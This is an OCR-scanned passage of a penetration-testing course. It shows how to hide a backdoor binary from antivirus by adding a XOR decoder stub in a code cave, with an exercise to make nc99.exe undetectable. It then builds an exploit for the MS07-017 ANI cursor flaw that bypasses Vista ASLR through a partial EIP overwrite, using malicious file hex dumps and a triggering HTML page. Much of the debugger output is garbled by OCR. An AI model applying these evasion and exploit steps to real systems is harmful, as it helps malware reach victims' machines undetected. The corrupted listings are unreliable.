BEAGACES | . | 68 DOEEEEE FUSH ncw39. BE4EE08E
Bo4a4C00 | | |63 7are4aas PUSH ncw 39, BO467673 Bl R kel
BE4G4C0F | . | 64:Al DERBEERS | MOU EAX,DWORD PTR FS:08] S BT e s e e P s
BE4G4C15 | - | Se FUSH_EAR EE% SFrD4acon : !
BE4G4C1E | . | 64:9925 POPERGEE MOU DWORD PTR FS:[81,ESP S e
BE4G4C10 | . | 8304 Fa ADD ESP,-18 EBP BR1SFFAC
e o T
gaeaaczz [ - |57 FUSH_EDT E0T BERREEE _
T | 0 oo | —— e {1 00194080 17, o et nuroine>
. : L llc @ Es BEzs szbic BIFFFFFFFF)
podEdcsn | - | 3302 T Eags —|F 1 C5 881E 3Zbit BIFFFFFFFF)
. : A B S5 BB22 3Zbit BIFFFFFFFF)
BE4G4CI0 | . | §915 ESFC4PEA MOV DWORD PTR DS:C48FCES1EDX |5 7 G5 5552 3501t OiFFFFFFEF)
pE4E4Cas | . | BBLS e £ @ FS 0BIE 25bit TFFOFBE@IFFF)
BE4G4C5E | . | S1E1 FFOE@EEA | AND ECK,GFF =8 B S et
ppaiCoc | .| 8380 E4FCapee  |MOU DWORD PTR DS:4BFCE41.ECK |
odpacad | - |EiEL =5 ECHY En 0 8 LastErr ERROR_SUCCESS (BEOBEAEE)
BE4G4C4% | . | 8980 EQFC488@ | MOU OWORD PTR DS:[4BFCERI,ECH | EFL B88EE246 (MO, ME,E,EBE,NS,PE,GE, LE)
BE4G4CaF | o | CLES 1@ SHR EAX, 18 STH empty 9.0
BE4G4C52 | . | A3 DCFC4B0E HOW DWORD PTR DS:[48FCOCT,ERX |27y chben oo
BE4G4C57 | . | ES_F4BBEREE CALL ncw59. BE484050 215 b B8
BE4E4CEC | - | 85CE TEST EAX, EAX SI2 S o2
BE4B4CEE | .v| 75 BA JHZ SHORT new99.BB4B4CeR SIE A o
BE4E4CEE [ . | &R 1C FUSH 1C ZTE empte B8
BE4G4CEE | . | EE_ES00OHHE CALL ncw99. 88404020 ITe ometh B'H
BE4G4CET | . | S3C4 B4 ADD ESP, — LR
ARARATAO b r7d4dE Frr AARAAAGRE MO AARATPTR SS= FFRP—-41 & empty " 2 21@ ESPUDO
4 r FST B398 Cond @ @ B @ Err B 30 0 0
e ) Crhl @A27e Demm~ HCOD OO Me~l i 1 1
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We open our saved file, and step over (F8) to our code cave.

CPU - rmain thread, module ncxd9-rmo
BE4EATES |1 . F3C4 B4 AOO ESF, 4 -
BE48AFEC |1 . 58 PUSH ERX
BE4EAFED 1] . E2 SE9SFFFF CALL ncu99-mo. BE4E3FFE
BE4BAFE2 |] . 33C4 B4 AOD ESP, 4
eadEA7ss (| > SF FOP EDI
BE48AVES |1 . 5E FOF ESI
Ba48Avey |1 . 50 FOF EEP
BE48ATES |1 . F3CH #“DR EAX, EFX
BE48AFEH |] . 5B FOP EBX
BE48AVEE (L. C3 RETH
BE4EATEC Q6 HOP
BE4EA7S0 e HOP
BE48AVEE 20 HOF
T T Ty 206 HOF
(EIEEERRN ) GEEE AOO EYTE FTR O5:[EAXI, AL
[rEELL L AREE AOOD BYTE PTR DS:L[ERXI, HL
BE4EATF "4 BEEE AOO BYTE PTR DS:L[ERXI, AL
BE4EATFE BEGEE AOD BYTE PTR DO5:[ERXI, AL
BE4ERT 7S aEaE AOD EWTE PTR DS:LEAXI, AL
BE48A77H fu]alsls] AOD EYTE FPTR DS:L[ERXI, AL
BE48A7FC faala]s] AOD EYTE FPTR DS:[ERXI, AL
BE48R7E fa J5]515] HOOD EYTE FTR DS:L[ERX], HL
BE4EATEA BEEE AOD EBYTE FTR DS:L[ERAXI, AL
BE4EA7E2 BEEE AOO BYTE PTR DS:L[ERXI, AL
BE4EAT24 BEGEE AOD BYTE PTR DO5:[ERXI, AL .
BE4ER TS aEaE AOD EWTE PTR DS:LEAXI, AL (M
BE48R7EE fu]alsls] AOD EYTE FPTR DS:L[ERXI, AL il
BE4EATER | . 8888 AOD EYTE PTR DS:L[ERXI, AL
BE48ATIC | . 8888 AOOD EBYTE PTR DS:L[ERX], HL -
ARAROTRF FARRARA ann RYTE PTR N=S«TEO%1 0l
4 | k

Everything is working as expected. Now we need to understand what parts of the file we want to
encode. We can't simply encode the whole file, as we might be encoding important data initially

needed to load and run the file (Import Table for example).

For this simple example, we will encode the data segment only. We'll start encoding from the fourth
instruction from our original entry point to the end of the .zfext section. This isn't always enough for

complete AV stealth, but it's a good start.

Original Entry Point
00404C05 68 00B04000 PUSH ncx99.0040B000O
0040A76F 90 NOP

Hijacked to code cave
Start encoding

End Encoding

Code Cave...

HH H= H= H
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The Cave and the Stub

Our code cave will contain a XOR routine stub, which will loop through our provided addresses and
change the binary contents of the data between these two addresses. Once the XOR loop finishes
encoding the data, we will save the file to disk. The binary contents will have changed from the
original known malicious known file. Once we execute the file, it will be loaded into memory, run
the same XOR loop on the encoded data (thereby decoding it — a XOR trick). Once decoded, we
will jump to the original bytes that were encoded, and continue normal operations of the malicious
file. Since the unpacked version of the malware is in memory, the Antivirus software is unable to

scan or detect it.

Take a look at our XOR stub. Don’t be intimidated by the ASM code, it’s easy to follow, even if

you are not fluent in ASM.

0040A770 MOV EAX, 00404CO05
0040A775 XOR BYTE PTR DS: [EAX], OF
0040A778  INC EAX;

0040A779 CMP EAX, 0040A76F
0040A77E  JLE SHORT 0040A775
0040A780 PUSH EBP

0040A781 MOV EBP,ESP

0040A783 PUSH -1

0040A785 JMP 00404C05

Save start of encoding address in EDX
XOR the contents od EDX with xor key OF
Increase EAX

Have we reached the end enc. address?

If not, jump back to XOR command

If you have, restore lst hijacked command
Restore 2nd hijacked command

Restore 3rd hijacked command

Jump to where we left off from.

H= = FH H H H H

We add this stub to our code cave and save our changes (ncx99-mod?2.exe).
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CPU - rmain thread, module ncx99-mo

AE4EATER || > BF POP EOI "
AE4EA7ES || . BE POP ESI i
BE4EA7ET || . D FOP EEP

aE4eATES || . ZECE #OR EAX, EAX

aed4eA7EA || . BB FOF EEX

aed4eA7eR (L. €3 RETH

BE4BATED e MOP

BE4BATED e MOF

BE4BATEE e MOF

AE4AA7EF e MOF

AE4EA7 7R BE EE4CHEBE MO EAX, now99—mo . BR4E4C05

AE4EAT 7S 2636 6F #OR BYTE PTR DS:[EAXI, AF

AE4BAT 7S 48 IMC EAX

AE4BAT 7D 20 SFAT4E0A CHP EAH, non99—mo . B848A7EF
BE4EATFE ~-FE F& JLE SHORT new99—mo. BELERFTS
BE4EAT 26 EE PUSH EEF

BE4EA7E1 2EEC MO EEF,ESF

BE4EATEE &R FF PUSH -1

AE4BATEE ~ E9 FBA4FFFF JHP o 99—mo .. BEGE4CEHE

AE4EATEA | . BEEGE ADD EYTE PTR DS:L[EAXI, AL
BE4EATEC | . @EEE AOD EYTE PTR DS:[EAXI,AL
AE4EATEE | . BRER AOD BYTE PTR DS:[EAXI,AL
BE4EATIE | . @BEE AOD BYTE PTR DOS:[EAXI, AL
AE4EATIZ | . AEEE AOD BVYTE PTR DS:[EAXI, AL
BE4EA7I4 | . AEEE AOD BVYTE PTR DS:[EAXI,AL .
AE4EATIE | . BEEE AOD BVYTE PTR DS:[EAXI, AL [ W
AE4EATIE | . AEEGE AOD EVYTE PTR DS:[EAXI, AL B
AE4EATIA | . BEEE ADD EYTE PTR DS:L[EAXI, AL
BE4EA7IC | . @EeE AOD EYTE PTR DS:[EAXI,AL -
ARAROTOF ARAA onn RYTF PTR N==TFO%T dl

1 F

We open our new file in Olly, and allow the decoder stub to run until the end of our encoded .text

section.

Notice what happens to the data in this section, as the encoder is running. This is part of the .text

section before decoding:

Address |Hex durmp ASCII

FE4A4CES| 62 BE BA 48| B8 65 7S TE/ 48 BE &4 AL B0 B0 88 88 | h.EE.hevE.di.. ..
EE4E4C1S( S8 &4 899 25 00 B0 OB @8 82 Cd4 FB 53 56 57 899 65| PdEX....5—=5UNEs
EE4R4C25(ESE FF 1S BC) 22 41 @A 33/ D2 8A D4 89 15 ES FC 48| £ 5-"H.3r& EEEE"E
FE4E4CE5 (@@ BB C8 81 E1 FF 0@ 88 8@ 59 B0 E4 FC 40 @8 Cl|.i%iF ...&.E"@.*
FE4E4C45(EL B8 @2 CA| 29 B0 EA FC| 48 BA C1 ES 18 AS OC FC||pOW=E. @, L3mig"
FE4A4CEE (4@ BA ES F4 B8 BA @A 85 CB 7S5 BA &R IC ES B9 88 |E. &1...5%W. i ¥ .
FE4E4CES (BB BE 83 C4 B4 CY 45 FC BB B0 B8 B8 E2 EA 14 80| .. &—+E"....2%1.
GE4A4CFE( BB ES EE 29/ 868 60 BS FF| 27 41 B8 298 A2 258 62 41| .%-)1..98"A.EG(BA
FE4A4CES (BB ES AS 25 868 B0 A3 35 FD 40 898 85 CA 74 89 Al || . #6X. .08 @, 5. 0

HH

BE4E4095) 25 B2 41 88 85 CB 75 BR &R FF E2 BC F¥ FF FF 22| (8R.&%.J ¥ 3
BE4E4CHS | C4 B4 ES D4 22 00 88 ES OF 21 98 88 ES 7FH Fr FE||—#&r. . 2=, 22

BE4E4CES| FF AL F3 FC 48 BB A3 FC FC 468 88 S8 Al FB FC 48| (°"@.y""@,Fi="@
BE4E4CC5) BB 5B 3B B0 EC FC 48 88 51 ES 20 ES FF FF 33 C4 | .PL.w"B.QF-F 5
EE4a4Cc05 | BC 89 45 E4 5@ ES 21 FF¥ FF FF EBE 21 2B 45 EC ZE|| .SEZPZiz  StiEwi
BE4E4CES) 18 8B BA 99 40 EG 5@ 51 ES BE 26 68 BB 23 C4 82 ki.SM«PREA .50

BE4E4CFE| C2 8B 65 ES 2B 45 E@ S8 E2 YE FY FF FF 22 C4 84| FiefiE«PE": S
BE4a4085| CY 45 FC FF FF FF FF 2B 4D F@ &4 29 60 66 GG 68 | |FE™ iM=dé.. ..
BE4E4015) 8@ 5F SE SB 2B ES 50 C2 9@ 96 98 22 30 46 FD 48| ._~[ic] [EEES=E* @
EE4E4025) 88 B2 74 B5 ES 22 ZA 898 88 SE 44 24 84 S0 ES 58| L 0tEETH. L (DFePER
BE4E4035) 20 BB 88 53 C4 B4 &3 FF 88 B8 88 FF 15 CB D1 48 | #..5+h ... E-5E
BE4E4045| BB 83 C4 B4/ C3 98 98 28 98 290 98 &R B8 65 88 18| . S—+EEEEEEj.h. k
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This is the same section after decoding:

Hddress |Hex dump HSCII

BE4R4CEAS| &7 BF BF 4F|BF &7 77 73| 4F BF &E RE|BF BF GOF GF || gty Deguwy Dol «cee
BE4R4C15(5F 6B 86 2A(BF BF BF BF|8C CE FF SC| 5% 58 86 M| _kaskssssiy ~NHAj
BE4A4C2S(EF FB 1A 53|20 4E @F 3C|0DD 285 OB 86| 1A EY F3 4F | v=+5-H#<] Sl3+120
BE4A4CIE(BF 24 CF SE|EE FB BF BF|BF 26 B2 EE|(F2 4F GOF CE| #3[FA=S s 2@5 <0057
PA4A4C45(EE B7Y AC CE| 26 B2 EF F2|4F BF CE EF| 1F AC D02 FZ| £« .+38n: 0#qpy Flalls
BE4E4CEE( 4F BF EV FE|BF BF GF SA|CF YA BE &5[ 12 EY BE GF || D%y ressc=zdellvf|
BEA4A4CEE(BF GF SC CE|[BE CS 4AQ F3|8F 6F GF 8F|(E7 ES 1B GF || m ijratss sy o+
BE4E4CFS(BF EY EA 26|8F BF BY FE|(22 4E OF 9F|(AC 27 GO0 4E| =vniesnmplHefa" . H
BE4E4CE5(BF EY AA 2A|BF BF AC 37|FZ2 4F BF SA|(CF TE B& BE| syowssia s Dume={ 4=
BE4A4CIS( 27 B0 4E BF|(8A CF vAH B5| 65 FO EY B3|FE FO FA SC| " .M#e~z&e=« |?==1
BE4A4CAS(CE BB EF DE|(20 BF OF EF|DE ZE OF BF|EF 75 FS F@| Faqll—ssql, wiqy?s
PA4A4CEE(F@ RE F¥ F2|4F BF AC FZ|F2 4F @F SF|(RE FF F2 4F | S«x0skss0_« 20
BE4E4CCE( BF EF 84 B2|E2 F2 4F BF|SE EY 22 EF|FE F@ SC CE| #_s@8m20x~"v== iF
Ba4a4C05( B2 26 47 EE|SF EY SE FE|F& F@ E4 2E[(24 40 ES S4| wiJi_+A°==E. 5Jma
BE4E4CES| 1IF 24 OS5 96|42 EF S5F SE|EF 81 2ZF GF|@F 2C CE &7 | TA$AEn_ "B % {jf-
BE4E4CFS( CC 84 &6A EF|(84 4A EF SF|EF 71 F& F@|F& 2C CE BE| [f&jv&Jn_vq?sS iffd
BE4A40ES( CE 4A FS FA|FE FB FA 84|42 FF 6B 86|82 BF OF BF|(“J2====3B k3@
BE4A401S(BF 5@ 51 E4(24 EA 52 CC|9F 9F 9F 2C[ 32 4F FZ2 4F || #*PETARRIFfFF 12020
FEA4A4025( BF B0 FE BA|EF 20 25 BF|BF 24 4B 2B|(BE S5F E7 &7 | . L. r—Hssdk+a_xl
BE4E4035( 25 BF OF SC|CE BB &7 FE|BF BF OF FA| 1A CF DE 4F || X% iyags s += [0
BE4A4045( BF 2C CE 8E|CC 9F 9F SF|9F 9F 9F &5|8F &7 AF 1F || #iF2Irffffffexgx’

Don’t forget to put a breakpoint at the end of our encoding routine. We don’t want execution flow
to continue beyond that, as we want to capture a “snapshot” of the encoded binary file. We now

need to carefully save the encoded file to disk (ncx99-mod3.exe).
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Opening this new file in Olly and single stepping through it is an eye opening experience.

Firstly, we can immediately see that the original data in the .text segment has actually changed. All

the commands after our hijacking point (00404c05 and onwards) has become obscufated.

rd

FOF ESI

JHMP - noy 99-mo. BE4EAT FE
MOUSH ECH,WORD PTR DS: [ER+F]
JH SHORT ncs99-mo. 884840586

OEC EDI |
FACKSSON MMS, QWORD PTR DS: [ESI-—
FPOP EDI

IMUL ERX,OWORD PTR DS: CESI+FEF
HMOU B, LS

CALL FAR FWORD PTR DOS: [ECH+ER:
EEHEBE"HTE FTR DSz CEDK-191,CH

@ CPU - main thread, module ncxd9-mo
ga4a4EFS (|« SE
BE4E4BFS (|« 5F
BE4E4EFA SEB
BE4A4BFE (L. C3
BE4A4BFC CC
BEdE4BFED CC
BE4E4BFE CC
BE4A4EFF e
FEEEEDEEN 5+ E9 SESEEEEE
pE4E4CES | > | &7 BFBF4F BF
BE4E4CHA [ . | B7:FF 79
BEda4CED (. | 4F
EE4R4CEE | . | BFEEBAE BFEFEFEF
BE4R4Cis (. | BF
EEdn4cis | . | GEBEE 2RBFEFGOF BR
BEd@4cin (. | BCCB
@E4E4C1F | . | FFSCE2 G2
gEd4a4c23 | . | B56H EV
BE4E4C26 Fa
BEdE4C2 7 1A
BEdE4C2E 53
BEdE4C2 z0
BE4E4C2H 4E
BEdE4C2E 513
BEdE4C20 aC
BE4A4C20 Do
BE4E4C2E 25
BE4E4C2F OB
BE4E4C3E =]
ARARAT = i0
4 |l

As we step over the first few instructions, we see that we are redirected to our stub, and that the stub

is XOR encoding the already encoded data, with the same XOR key (OF). This restores the original

content of the file, and decodes it in memory.
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Once decoding is complete, execution flow is redirected back to the original point where the

execution was interrupted.

=

@ CPU - main thread, module ncxd9-mo

go404BF2 (|« SF FOF EDI -~
BE464BFA (| « 5B FOF EB&

BE4E4BFE (k. C3 RETH

BE4E4BFC CC IMT=

BE4E4BFD CC IMT=

BE4E4BFE CC IMTS

BE4E4BFF [ INT=E

BE4A4C00 | 5+ E9 SESEEBEE JMP nicn99-mo . BE4ERTTE

FEEGEEEE 68 GEES4E00 FUSH ncy29-mo. B848E06EE

BE4E4CER | . | 68 FEVE4EE8 FUSH ncu33-mo. BE48767S

BE4E4CEF | . | 64:A1 BBEE0EEE | MOV EAX,OWORD PTR FS:C@E] s
BE4E4C1S | . | BB FUSH ERX |
EEdn4cie | . | 6418925 BEGEEEEE MO DWORD PTR FS:0@1,ESF —
BE4@4ci0 | . | 83C4 F@ |00 ESP,-1@

BEd4@4czE | . | B3 FUSH EBX

BE4E4C21 | . | 55 FUSH ESI

gad4a4cz2 | . | B7 FUSH EDI

BE4B4C23 | o | 8965 E8 HMOY OWORD FTR SS5:CEEBF-181,ESP
pEdn4cze | . | FF1IS SCzZ24168 CALL DWORD PTR DS: [<&KERHEL3Z.Getl)
BE4E4C2C | . | 3302 ~0R EDX, EDX

BE4E4C2E | . | BAD4 MoU 0L, AH

EE4E4caE |, | 8915 EBFC4B86E MOL OWORD PTR DS: C48FCES], EDX
BE4E4C3s | . | BBCE MOU ECH, ERX

GE4a4C22 | . | S1E1 FFEGEEEEE | AND ECH, GFF

EE4E4CzE | . | 8980 E4FC4800 MOY DWORD PTR DS: C48FCE4], ECH
BE484C44 | . [ CIEL B8 SHL ECH,:2

BE4E4C4F | . | B3CH HOO ECH,EDR

EEdE4c4s |, | 8980 EAFC486EE MOL OWORD FTR DS: C48FCER], ECH
EE4@4c4F | . | CIES 18 SHR ERX, 18 -
ARARATE? 02 NrFrd@EE MOl NWNRN PTR NS= FTd@AFCOET FOY

LI 3

Our file has been decoded in memory, and is just about to execute.

We allow code execution to continue, and check if our file was successfully run:
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BN Cindowshsystem32hcmd, exe =0 ﬂ

Microsoft Windows [Uerszion 6.0.680H]
Copuright <c? 2006 Microsoft Corporation. All rights reserved.

C:sUszerssoffsecknetstat —an IFIND 29"
TCF B.8.8.8:29 A.A.A.8:8 LISTENIHNG

C:slUzerssoffzecl

The Results

Now, all that’s left to do is check if our binary encoding loop was sufficient to bypass our antivirus:

‘ Scanning Statistics - 215 @

L* : Finished

Scanning Information

Started: Marually 1/20/2008 12: 4303 Ak
Ended: 1/20/2008 12:43:03 Ak
Objects scanned: 1

Errors: ]

Dizplay Test configuration

Yirug statistics

No threats found.

i Dizplay Besult Cloze
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Challenge #4

Take nc99.exe and make it undetectable on your lab machine, using AVG as your test baseline.
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Advanced Exploitation Techniques

MS07-017 - Dealing with Vista

In the “Offensive Security 101 v2.0 course, we analyzed the MS07-017 vulnerability on XP SP2
and saw how the stack based buffer overflow was exploited in order to gain code execution. As we
saw in that example, neither GS nor DEP protection were enabled on the vulnerable DLL’s, which

made the exploitation process relatively trivial. This was not the case on Windows Vista.

ASLR

As we saw in a previous module, Windows Vista implements ASLR, which randomizes the base
addresses of loaded applications and DLLS. In exploit development terms, this means we can’t
reliably jump or call any relative addresses such as jmp [ebx] in USER32.DLL. As user32.dll
would get loaded at a different base address after each reboot — and our chances of hitting the right

one are minimal. Obviously a different approach is required.

00000000 52 49 46 46 90 00 00 00 41 43 4F 4E 61 6E 69 68 RIFF....ACONanih
00000010 24 00 00 0O 24 00 00 00 02 00 00O OO 00 OO 00 0O 8 cooBoooo0oo0oo0o
00000020 00 00 00 00 0O OO0 OO OO 00 OO0 00 OO 00 00 00 00  ..veivervininnnnn.
00000030 00 00 00 00 01 00 OO 00 61 6E 69 68 58 00 00 00  ........ anihX. ..
00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAARAA
00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAARAA
00000060 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
00000070 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 AAAAAAAAAAAA. ...
00000080 00 00 00 00O 00 00 00 00O 00 00 00 00 00 00 00 00 ... einiuiinenn.n.
00000090 42 42 42 42 43 43 43 43 BBBBCCCC

After further investigating the effects of ASLR on the base address of a DLL, we see that only the

higher two bytes are randomized.
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Let’s take a look at an example. I’ve located a jmp [ebx] command in ntdll.dIl

www.ocffensive-security.com

-

* OllyDbg - iexplore exe - [CPLU - thread 00000F68, rmodule ntdll]

IE' File  “iew Debug Options  Window  Help

Paused L|E[M|"
rre5l6Al JHP DWORD FTR DS: CEBX] ~
e ] AOD EYTE PTR D5:[EEX]1,CH -
rreSleAs 45 DEC ERH

(G =1=0 =13 Iy I3 o3 HUL HL, =F

rreslaA? TH B3 JO0 SHORT nmtdll.PreS16E3

rrEE16AE 7d B2 JE SHORT ntdll.v7res1eAF

rres1aA0 Baca HOO ECX,ECH

rreElaAF SE4E 28 MOL ERK, DWORD FTR DS5: CERR+2E]

rreglaB2 201CE8 LEA EEX,0OWORD PTR DS5: CERE+ECH#4]
FYEE16EE | S5O0E TEST EEH,EBX

rregleE? BFS4 FEEAEEEE | JE ntdll.7resz2138

rreslaBD SE43 B4 HMOW ERX, OWORD FTR DS5: CEER+4]

rreslaCe AS @1 TEST AL, 1

rrEE1aC2 BFS4 FEBAEEEE | JE ntdll.FFEE2138

rreglacs 2975 18 CMF DWORD _FTR S5:CEEF+1681,ESI

rreElaCE BFS4 S9591FCFF | JE ntdll.FPFE1ASEE

rreglail 2EEE 18 MO EDX, OWOED FTRE S5: CEEF+1E] nt
rreglaidg 2042 FF LEA ECH,OWORD PTR DS:[CEAX=-11

FrEElED? | ES 42000086 CALL ntdll.7v&5171E

rreglalc SEFE MOU ESI,ERR

rreslaiE SEFE TEST ESI.ESI

rreslcEs BFS4 SZEREE0a | JE ntdll.Fre52138

rreEl6Es FE4E BC @3 TEST BNMTE FTR_S5:[CEEF+C1,=

rreEl16ER BFSE D2eF@E@d | JHE ntdll. FreE86C2

rreElaFE 2030 9@E3IFEYF & CHMF BYTE PTRE DS: [FFFEB22E], &

TreElaF v BFSE 21156108 | JHE ntdll.7rE62C2E

FYEE1EFD | S5FS TEST ESILESI

rreslaFF BF34 32R16E08 | JE ntdll.rFreSES38

rreslvas GBS0 F3 MOW EEX, OWORD FTR 552 CEEF-81 nt
rreslvaEs S50E TEST EBX,EER

TrEE17ER BFSE FFCEEE0E | JHE ntdll. 7rEE0ASF

rreglvia EF FOF EDI [5E)
rreglvil SECE MO ERX,ESI

rreglvla EE FOF ESI 5K
FYEE1T14 | EB FOF EEX a4
rreglvis co LERYE

rreslvie Cz2 BcEE RETH &L

FFECATia []=]

4 [ F
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I'1l reboot the Vista machine, and locate the same code:

i

* DllyDbg - ieuser.exe - [CPU - thread 000003E4, rmodule ntdll]

File Wiew Debug Options Window Help

Paused | B4 x| w| Wi ¥4 A of L|E|M|T|¥
Trd4316A1 FF&2 Bl JHP OWORD PTR D= CEBX] -~
rrd43iand BEZE AOD BYTE PTR DS:[EEBX1,CH

Tr43lens | 48 OEC EAX

Tr42leA? 14 39 AOC AL, =2

rr4316A2 TH B35 JO0 SHORT ntdll.vr4316E3

Tr4316AE T4 Bz JE SHORT ntdll.vr4316AF

Trd31eA0 BIC3 HOO ECH,ECH

Trd42316AF EE4l8 28 MO ERX, DWORD PTR DS5: CERA+2E]

Trd43leB2 201ces LEA EBX,OWORD FTR DS5: CEAX+ECK#*4]
Trd4316B5E E50E TEST EBX,EBEX

Fr421EET |~ BF24 TEGABOAE JE ntdll.7r432138

rr421eBD SB43 B4 MO ERH, DWORD PTR DS:[EBR+41

rrd431acaE AS @1 TEST AL, 1

Trd43laca BF 54 vEBRSBEE JE ntdll.7rd432138

Trd3leca 2975 18 CHMF DWORD_FTR SS5:CEEF+161,ESI

Trd4231eCE BFS4 S591FCFF JE ntdll.P7IFASEE

rrdgia0l 2EEE 18 MO EDX, OWORED FTRE S5: CEEF+1E1 nte
Tra31a04 2048 FF LEA ECH,0WORD PTR DS:CEAX-11

Fr421E07 | ES 42006600 CALL ntdll.7v43171E

7r431e0C | SBFA HOM ESI,EAX

rr42lelE SEFE TEST ESILESI

rr4316E8 BF 54 SZ2BRE8E88 JE ntdll.7r432138

Tr4316ES FEd45 BC @3 TEST BYTE FTR _S5:CEBF+C1,:=

Trd4316ER BFE5 D2EF@aas JHE mtdl L. Frd438eC2

Trd3leFa 2030 S9@E3FEFF BB | CHMP BYTE PTR DS:[FFFEB22@], 8

Trd42leF? BFS5 21158188 JHE ntdl L. Frdd2C2ZE

Trd42316F0D EEF& TEST ESILESI

FP421EFF |~ BF34 33A18006 JE ntdll.7r436832

rrd43lves SEED F2 MO EEX, OWORD FTR S5:CEEF-21 ntc
Trd431vEs S50B TEST EBX,EER

Trd4317ER BFS5S FFCI@8a8 JHE medl L. Yr430RSF

Trd3ivia EF FOF EDI ntc
rrdgivil SECE MO ERX,ESI

Tragivia EE FOF ESI ntc
Tra43ivig EE FOF EEX ntc
7r4317is | C9 LEAUE

rr42ivie Cz2 @cEg RETH &

Trd431v1e L] HOF

Trd4317 1R L) HOF

Trd431v1E 96 HOF

Trdgivic L] HOF

Trd4317in LS| HOF

Trd43iv1E &H E@| FUSH =&

Fr4s172e 2 PUSH ntdll.7741FDCE

77431725 | FR OFSRFFFF FANE nedl |- 77414703

1 F

Notice that the same code is now present at a different base address (now 0x774316A1, before

0x776516A1). Note that the lower two bytes stay the same.
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Another interesting thing to note is that the original POC overwrites EIP with exactly 4 bytes — the
“\x43\x43\x43\x\43” string. This length of this string is defined at 58 bytes length (this is what

causes the overflow).

2 byte overwrite
One interesting method of bypassing the base DLL address randomization is by implementing a
partial EIP overwrite. Let’s explore this vector slowly. We’ll begin by shortening our buffer to 56

bytes, effectively overwriting the lower 2 bytes of our EIP at crash time.

00000000 52 49 46 46 90 00 00 00 41 43 4F 4E 61 6E 69 68 RIFF....ACONanih
00000010 24 00 00 0O 24 00 00 00 02 00 OO0 OO 00 OO 00 0O 8 cooBoooo0oo0o00o
00000020 00 00 00 0O 00 00 OO 00 00 00 00 00O 00 00 00 00  v.viiiiieennnnn
00000030 00 00 00 00O 01 00 00 00 61 6E 69 68 56 00 00 00  ........ anihX. ..
00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAARAA
00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAARAA
00000060 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
00000070 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 AAAAAAAAAAAA. ...
00000080 00 00 00 00 0O OO OO OO 00 00 00 OO 00 00 00 00  ....eiieiinon...
00000090 42 42 42 42 43 43 BBBBCCCC

And create an html file which will call this malicious ANI file:

<html>
<body style="cursor: url('exploit.ani')">
</html>
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FPauzed gﬂﬂ ﬂJ

TRl Cone deceoois oo

SHL BYTE PTR DS: [ER=+CS337velal, =2 4

www.ullenslve--a:urlty-ggﬁi

S| 4| $EUE M| | L) E| M) T e KB R

Registers [FFUI

CLD

PUSH EB:

MOU - EBEX, OWORD PTR SS5: [CEEP+21
TEST BL,1

FUSH ESI

FUSH _EDI

JHE SHORT USERZZ. PEEA43G6A
TEST BL,E

JHE USERZ22. FeBRA43EE

MOL EST, 4 GEEEEE]

CALL USERSZ.7&BAZEES

FUZH &

FUSH =

CALL USER3Z2.YaER3694

LERA ER:,.OWORD FTR SS:[CEEF-1C1
PUSH _ER:

LERA ER:,.OWORD PTR SS:[EEP-121
PUSH ERX

CALL USER32.VeBRZFSF

TEST ER=,ERA

JHE SHORT USERZZ. PEEH4393
AND DWORD PTR S5: [EEF-1C1,ERX
LEA ERX,OWORD PTR SS:[EEP-121
PUSH _ER:

AOD ESI

IMC EEFP
[

]

i
CALL USER32.YeBRZDSS

s

TEER434H 45

TEEA424E FC

TEEA4240 3]

FEEA4240 2BED B2
TEEA4358 FEC2 @1
TEBR4252 =)

TeER4354 a7

TEEA4355 |~ 75 A9
TEEA42E7 FECZ B&
FEEA435H |- BF2S SERARBRAG
TEEA425E BE 818EHE4R
TEEA432EE E2 9FECFFFF
TEBR42ER cH a8
TEER4360 &R a3
TEER436E ES Z1F3FFFF
TEEA4272 2045 E4
TEBEA437E =]

TEER42FE 2045 ES
TEEA437A =]

TEBR427E ES 1IFECFFFF
TeER4338 85Ca
TEEA4332 |~ 75 AF

TEeEA4 224 2145 E4
TeBEA42a7 2045 E2
TEEA422H

TEEA433E 23CE @2
TEBR432E ES CZESFFFF
|

OS: [BE74BFE1I=777

ERX 41414141
ECH BA8EREES
EDX B822337EC
EEX B212ERA4
ESF B212E9ES
EEF 42424242
Eﬁ¥ B212EALC ASCII "anihs™

n
) g

EIF 7EBA4343 USERZZ. FeBH4 34

' FFFE
£S5 @E1E 22bit @(FFFFFFF
S5 BEZ3 Z2bit @(FFFFFFF
DS @823 22bit B(FFFFFFF
FS BGSE ZZbit rFFOBBEE!
E5 BEEE HULL

LastErr ERROR_SUCCESS (
EFL BB@ie24& (HO,MNE,E,EBE, NS,

STH empty =777 HEFAEEFA
STl empty =777 BEFFEaFF
ST2 empty BEERRACE
5TS empty []5]5]5 55 n=
5T4 empty BEO40ECE
5TS empty BEERREDS
STE empty [5]5]% 5 %[5 ]
5T7 empty
2218

FST 4@@8 1l 888 Err
FCW 827vF MERR, 52 HMask

oO—Hwraom
EEE R e

Ciond
FPrec

The resulting crash is interesting. We can see that our plan to overwrite the lower two EIP bytes has

succeeded. We can also see that at crash time, our execution flow is located in User32.dl. If we

could find a jmp[ebx] command in User32.dll, we could call it by using a 2 byte overwrite only.

After a reboot, user32.dll would be loaded in a different address space, however since our return

address will be situated in the user32.dll, our relative jump will effectively bypass the

randomization.

Jumping to our shellcode

Several jmp [ebx] commands can

be found in user32.dll — I chose:

760A7BAB ££23

JMP DWORD PTR DS: [EBX]

We edit our malicious ANI file and include the following changes:

00000000 52 49 46 46 <cc cc 00 00 41 43 4F 4E 61 6E 69 68 RIFF....ACONanih
00000010 24 00 00 00 24 00 00 OO 02 00 00 OO 00 OO0 0O 0O Soco®oo0cocoo0o0o0oo
00000020 00 00 00 00O 00 OO0 OO0 OO 00 OO0 OO0 00 00 Q00 00 00 @ &.iviiiiieeeennnn
00000030 00 00 00 00O 01 00 00 00 61 6E 69 68 56 00 00 00  ........ anihX
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00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
